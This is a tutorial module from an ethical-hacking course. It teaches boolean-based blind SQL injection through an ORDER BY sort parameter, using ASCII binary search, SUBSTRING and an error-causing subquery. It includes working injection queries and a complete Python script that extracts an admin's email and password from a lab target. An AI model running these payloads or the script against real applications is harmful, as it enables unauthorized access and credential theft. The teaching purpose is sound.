Blind Vulnerabilities
Vulnerabilities are usually referred to as "blind" when the attacker is not able to directly see the result of the attack in the HTTP response. For example, the UNION technique is not blind if it succeeds, because you can see the desired data among the rows returned by the database. Similarly, error-based techniques are not blind either, because you can see the data with the error message. But if neither of these techniques succeeds, and you cannot retrieve any information from the database directly in the HTTP response, we are talking about a blind vulnerability.
If yes, blink twice
Blind SQL injection vulnerabilities are typically exploited by asking the application yes or no questions. For example:
- Is the first letter of the admin user's password A? No.
- Is the first letter of the admin user's password B? No.
- Is the first letter of the admin user's password C? Yes
- Is the second letter of the admin user's password A? No.
- ...
Exploitation is therefore significantly slower, and it is not advisable to rely on blind techniques if, for example, UNION or error-based techniques are available.
But how to know what the database responded? There are broadly two different variations of this, truth-based and time-based blind technique.
- Truth (boolean) based technology: If the answer is yes, the HTTP response is slightly different. The difference can be caused by anything, for example, an error situation that occurs if the answer is yes.
- Time-based technology: If the answer is yes, wait X seconds before returning the HTTP response.
In this module, we will explore truth-based technology and in the following, you will have the opportunity to try time-based technology.
ASCII character set and binary search
You became acquainted with the ASCII character set in a previous module. Now it comes to use again because we actually don't ask the database if the first letter of the admin user's password is A, that would be very slow.
That is why we ask if the ASCII code of the first letter of the password is greater than X or less than Y. There are 95 printable ASCII characters, from 32 (space) to 126 (~).
You can find out any letter with a maximum of seven attempts when using binary search. Start from the middle of two numbers and halve the search range each time.
It is said that the admin user's password is "Simpukka". The attack could proceed as follows:
- [Search area: 32-126, Midpoint: 79]: Is the ASCII value of the first character of the password greater than 79? Yes.
- [Search area: 64-126, Mid-point: 95]: Is the ASCII value of the first character of the password over 95? No.
- [Search area: 81-95, Midpoint: 88]: Is the ASCII value of the first character of the password over 88? No.
- [Search area: 81-88, Midpoint: 84.5]: Is the ASCII value of the first character of the password above 84? No.
- [Search area: 81-83, Midpoint: 82]: Is the ASCII value of the first character of the password over 82? Yes.
- Inference: The ASCII value of the first character of the password is 83, which corresponds to the letter S.
SUBSTRING
In order to retrieve the first character of the admin user's password, we need an SQL function that returns only one character from a word. Fortunately, we have one: SUBSTRING. The syntax is:
SUBSTRING("Word", FROM_POINT, NUMBER_OF_CHARACTERS)
For example: SUBSTRING("Simpukka", 1, 1) returns the letter S, while SUBSTRING("Simpukka", 2, 1) returns the letter i.
Here is an example that retrieves the first letter of the password of the user (whose ID is 1) (it is recommended to try and play with these examples in the browser).
SELECT IF
But how do we ask questions from the database? The SELECT IF statement is handy for this. The statement returns one of the two SELECT options, depending on the outcome of the condition. The syntax is:
SELECT IF (CONDITION, WHAT_IF_TRUE, WHAT_IF_FALSE)
Here are two examples that you can try:
ASCII
The ASCII function converts a letter into a number (ASCII code).
Creating an Error
In this exercise, we can use the following method to cause an error if the answer to our question is "yes".
SELECT IF(1=1,(SELECT 1 UNION SELECT 2),1);
If 1=1, return two rows (1 and 2) that cause an error in the application. Otherwise, return only 1, which does not cause an error.
SELECT * FROM user ORDER BY first_name,(SELECT IF(1=1,(SELECT 1 UNION SELECT 2),1)) ASC
Error (application does not return any contacts).
SELECT * FROM user ORDER BY first_name,(SELECT IF(1=2,(SELECT 1 UNION SELECT 2),1)) ASC
No error, contacts are restored.
Replacing 1=1 with a legitimate query
When we have reached this point, we are already far along. The next step is to replace 1=1 with a proper query that retrieves the desired information from the database. The goal is to make the application execute something like this:
SELECT * FROM user ORDER BY first_name,(SELECT IF(ASCII(SUBSTRING((SELECT CONCAT(email,password) FROM user WHERE admin=1),1,1))>80,(SELECT 1 UNION SELECT 2),1) ) ASC
Try changing the number 80 to a smaller and larger value, and manually determine the first letter.
Automation with Python
Work is slightly slow manually. You have access to the VSCode development environment in the exercise. If you want, you can copy the Python code below to a file (e.g., attack.py) and fill in the session ID and URL address. Then run it as follows:
python3 ./attack.py
However, do not jump straight to this step, but try to solve at least the first letter manually using the method described above.
It is important to first understand how and why things work the way they do before automating them with tools. Otherwise, you will run into a wall as soon as the tool does not work.
#!/usr/bin/env python3
import requests
import time
BASE_URL = 'https://www-your-instance-id.ha-target.com/contacts'
QUERY = 'SELECT CONCAT(email,":",password) FROM user WHERE admin=True'
SESSION_ID = '.eJwlzjsOwjAMANC7ZGawE3_iXqZyYkdlbemEuDtIvBO8d9nXmddRttd556PszyhboVhSmViYV3UUk0oxFWe6WUsO4sAB2L05EYIJV6ThOAnMubeRloEOyhLL2DBboqj34S3rzEhCbsA6F5jCXILsojpF-4hWfpH7 yvO_QcDy-QLDUC7b.YN43Ag.HdgJjyARejmOhGf_IBm08gZ0LD4'
CAUSE_ERROR = '(SELECT 1 UNION SELECT 2)'
def is_true(pos, operator, value):
payload = f'(SELECT IF(ASCII(SUBSTRING(({QUERY}),{pos},1)){operator}{value},{CAUSE_ERROR},1)) ASC-- '
sort = f'first_name,{payload}'
res = requests.get(BASE_URL, params={
'sort': sort,
'direction': 'ASC'
}, cookies={'session': SESSION_ID})
result = len(res.content) < 30000
print(f'[*] ASCII at pos {pos} {operator} {value}: {result}', flush=True)
time.sleep(0.2)
return result
pos = 1
result = ''
high = 128
low = 32
while True:
try:
mid = int((high + low)/2)
if is_true(pos, '>', mid):
low = mid
else:
high = mid
if abs(high - low) <= 1:
if is_true(pos, '=', high):
result += chr(high)
else:
result += chr(low)
pos += 1
high = 128
low = 32
print('> %s' % result)
if is_true(pos, '=', 0):
break
except KeyboardInterrupt:
break
print('[+] Done. Result: %s' % result)
Ready to become an ethical hacker?
Start today.
As a member of Hakatemia you get unlimited access to Hakatemia modules, exercises and tools, and you get access to the Hakatemia Discord channel where you can ask for help from both instructors and other Hakatemia members.